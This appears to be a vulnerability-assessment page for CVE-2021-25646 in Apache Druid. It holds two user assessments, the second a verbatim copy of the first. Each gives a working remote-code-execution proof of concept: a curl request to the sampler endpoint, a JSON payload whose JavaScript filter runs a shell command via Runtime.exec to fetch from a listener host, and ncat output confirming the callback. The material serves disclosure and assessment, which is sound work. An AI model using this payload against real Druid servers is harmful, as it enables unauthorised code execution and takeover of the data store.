CVE-2021-25646

Apache Druid includes the ability to execute user-provided JavaScript code embedded in various types of requests. This functionality is intended for use in high-trust environments, and is disabled by default. However, in Druid 0.20.0 and earlier, it is possible for an authenticated user to send a specially-crafted request that forces Druid to run user-provided JavaScript code for that request, regardless of server configuration. This can be leveraged to execute code on the target machine with the privileges of the Druid server process.

Recent assessments:

wvu-r7 at February 06, 2021 3:30am UTC reported:

From Wikipedia:

> Druid is a column-oriented, open-source, distributed data store written in Java. Druid is designed to quickly ingest massive quantities of event data, and provide low-latency queries on top of the data.[1] The name Druid comes from the shapeshifting Druid class in many role-playing games, to reflect the fact that the architecture of the system can shift to solve different types of data problems.
>
> Druid is commonly used in business intelligence/OLAP applications to analyze high volumes of real-time and historical data.[2] Druid is used in production by technology companies such as Alibaba,[2] Airbnb,[2] Cisco,[3][2] eBay,[4] Lyft,[5] Netflix,[6] PayPal,[2] Pinterest,[7] Twitter,[8] Walmart,[9] Wikimedia Foundation[10] and Yahoo.[11]

Contrary to the CVE description, this appears to be both unauthenticated andvulnerable in the default configuration of Apache Druid 0.20.0, at least from Docker?

wvu@kharak:~/Downloads$ curl -vH "Content-Type: application/json" http://127.0.0.1:8888/druid/indexer/v1/sampler -d @payload.json
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8888 (#0)
> POST /druid/indexer/v1/sampler HTTP/1.1
> Host: 127.0.0.1:8888
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/json
> Content-Length: 949
>
* upload completely sent off: 949 out of 949 bytes
< HTTP/1.1 200 OK
< Date: Sat, 06 Feb 2021 02:23:07 GMT
< Date: Sat, 06 Feb 2021 02:23:07 GMT
< Content-Type: application/json
< Vary: Accept-Encoding, User-Agent
< Content-Length: 999
<
* Connection #0 to host 127.0.0.1 left intact
{"numRowsRead":1,"numRowsIndexed":1,"data":[{"input":{"name":"Wikipedia Edits","description":"Edits on Wikipedia from one day","spec":"{\"type\":\"index_parallel\",\"ioConfig\":{\"type\":\"index_parallel\",\"firehose\":{\"type\":\"http\",\"uris\":[\"https://druid.apache.org/data/wikipedia.json.gz\"]}},\"tuningConfig\":{\"type\":\"index_parallel\"},\"dataSchema\":{\"dataSource\":\"new-data-source\",\"granularitySpec\":{\"type\":\"uniform\",\"segmentGranularity\":\"DAY\",\"queryGranularity\":\"HOUR\"}}}"},"parsed":{"__time":1262304000000,"name":"Wikipedia Edits","description":"Edits on Wikipedia from one day","spec":"{\"type\":\"index_parallel\",\"ioConfig\":{\"type\":\"index_parallel\",\"firehose\":{\"type\":\"http\",\"uris\":[\"https://druid.apache.org/data/wikipedia.json.gz\"]}},\"tuningConfig\":{\"type\":\"index_parallel\"},\"dataSchema\":{\"dataSource\":\"new-data-source\",\"granularitySpec\":{\"type\":\"uniform\",\"segmentGranularity\":\"DAY\",\"queryGranularity\":\"HOUR\"}}}"}}]}* Closing connection 0
wvu@kharak:~/Downloads$



wvu@kharak:~$ ncat -lkv 8080
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 192.168.123.1.
Ncat: Connection from 192.168.123.1:56727.
GET / HTTP/1.1
Host: 192.168.123.1:8080
User-Agent: Wget
Connection: close

payload.json is adapted from this PoC, then formatted with jq.

wvu@kharak:~/Downloads$ cat payload.json
{
  "type": "index",
  "spec": {
    "type": "index",
    "ioConfig": {
      "type": "index",
      "inputSource": {
        "type": "http",
        "uris": [
          "https://druid.apache.org/data/example-manifests.tsv"
        ]
      },
      "inputFormat": {
        "type": "tsv",
        "findColumnsFromHeader": true
      }
    },
    "dataSchema": {
      "dataSource": "sample",
      "timestampSpec": {
        "column": "timestamp",
        "missingValue": "2010-01-01T00:00:00Z"
      },
      "dimensionsSpec": {},
      "transformSpec": {
        "transforms": [],
        "filter": {
          "type": "javascript",
          "function": "function(value){return java.lang.Runtime.getRuntime().exec('wget http://192.168.123.1:8080/')}",
          "dimension": "added",
          "": {
            "enabled": "true"
          }
        }
      }
    },
    "tuningConfig": {
      "type": "index"
    }
  },
  "samplerConfig": {
    "numRows": 50,
    "timeoutMs": 10000
  }
}
wvu@kharak:~/Downloads$

Some references for creating your own PoC:

• <https://druid.apache.org/docs/latest/tutorials/tutorial-transform-spec.html&gt;

• <https://druid.apache.org/docs/latest/querying/filters.html&gt;

space-r7 at April 12, 2021 1:38pm UTC reported:

From Wikipedia:

> Druid is a column-oriented, open-source, distributed data store written in Java. Druid is designed to quickly ingest massive quantities of event data, and provide low-latency queries on top of the data.[1] The name Druid comes from the shapeshifting Druid class in many role-playing games, to reflect the fact that the architecture of the system can shift to solve different types of data problems.
>
> Druid is commonly used in business intelligence/OLAP applications to analyze high volumes of real-time and historical data.[2] Druid is used in production by technology companies such as Alibaba,[2] Airbnb,[2] Cisco,[3][2] eBay,[4] Lyft,[5] Netflix,[6] PayPal,[2] Pinterest,[7] Twitter,[8] Walmart,[9] Wikimedia Foundation[10] and Yahoo.[11]

Contrary to the CVE description, this appears to be both unauthenticated andvulnerable in the default configuration of Apache Druid 0.20.0, at least from Docker?

wvu@kharak:~/Downloads$ curl -vH "Content-Type: application/json" http://127.0.0.1:8888/druid/indexer/v1/sampler -d @payload.json
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8888 (#0)
> POST /druid/indexer/v1/sampler HTTP/1.1
> Host: 127.0.0.1:8888
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/json
> Content-Length: 949
>
* upload completely sent off: 949 out of 949 bytes
< HTTP/1.1 200 OK
< Date: Sat, 06 Feb 2021 02:23:07 GMT
< Date: Sat, 06 Feb 2021 02:23:07 GMT
< Content-Type: application/json
< Vary: Accept-Encoding, User-Agent
< Content-Length: 999
<
* Connection #0 to host 127.0.0.1 left intact
{"numRowsRead":1,"numRowsIndexed":1,"data":[{"input":{"name":"Wikipedia Edits","description":"Edits on Wikipedia from one day","spec":"{\"type\":\"index_parallel\",\"ioConfig\":{\"type\":\"index_parallel\",\"firehose\":{\"type\":\"http\",\"uris\":[\"https://druid.apache.org/data/wikipedia.json.gz\"]}},\"tuningConfig\":{\"type\":\"index_parallel\"},\"dataSchema\":{\"dataSource\":\"new-data-source\",\"granularitySpec\":{\"type\":\"uniform\",\"segmentGranularity\":\"DAY\",\"queryGranularity\":\"HOUR\"}}}"},"parsed":{"__time":1262304000000,"name":"Wikipedia Edits","description":"Edits on Wikipedia from one day","spec":"{\"type\":\"index_parallel\",\"ioConfig\":{\"type\":\"index_parallel\",\"firehose\":{\"type\":\"http\",\"uris\":[\"https://druid.apache.org/data/wikipedia.json.gz\"]}},\"tuningConfig\":{\"type\":\"index_parallel\"},\"dataSchema\":{\"dataSource\":\"new-data-source\",\"granularitySpec\":{\"type\":\"uniform\",\"segmentGranularity\":\"DAY\",\"queryGranularity\":\"HOUR\"}}}"}}]}* Closing connection 0
wvu@kharak:~/Downloads$



wvu@kharak:~$ ncat -lkv 8080
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 192.168.123.1.
Ncat: Connection from 192.168.123.1:56727.
GET / HTTP/1.1
Host: 192.168.123.1:8080
User-Agent: Wget
Connection: close

payload.json is adapted from this PoC, then formatted with jq.

wvu@kharak:~/Downloads$ cat payload.json
{
  "type": "index",
  "spec": {
    "type": "index",
    "ioConfig": {
      "type": "index",
      "inputSource": {
        "type": "http",
        "uris": [
          "https://druid.apache.org/data/example-manifests.tsv"
        ]
      },
      "inputFormat": {
        "type": "tsv",
        "findColumnsFromHeader": true
      }
    },
    "dataSchema": {
      "dataSource": "sample",
      "timestampSpec": {
        "column": "timestamp",
        "missingValue": "2010-01-01T00:00:00Z"
      },
      "dimensionsSpec": {},
      "transformSpec": {
        "transforms": [],
        "filter": {
          "type": "javascript",
          "function": "function(value){return java.lang.Runtime.getRuntime().exec('wget http://192.168.123.1:8080/')}",
          "dimension": "added",
          "": {
            "enabled": "true"
          }
        }
      }
    },
    "tuningConfig": {
      "type": "index"
    }
  },
  "samplerConfig": {
    "numRows": 50,
    "timeoutMs": 10000
  }
}
wvu@kharak:~/Downloads$

Some references for creating your own PoC:

• <https://druid.apache.org/docs/latest/tutorials/tutorial-transform-spec.html&gt;

• <https://druid.apache.org/docs/latest/querying/filters.html&gt;

Assessed Attacker Value: 4
Assessed Attacker Value: 4Assessed Attacker Value: 5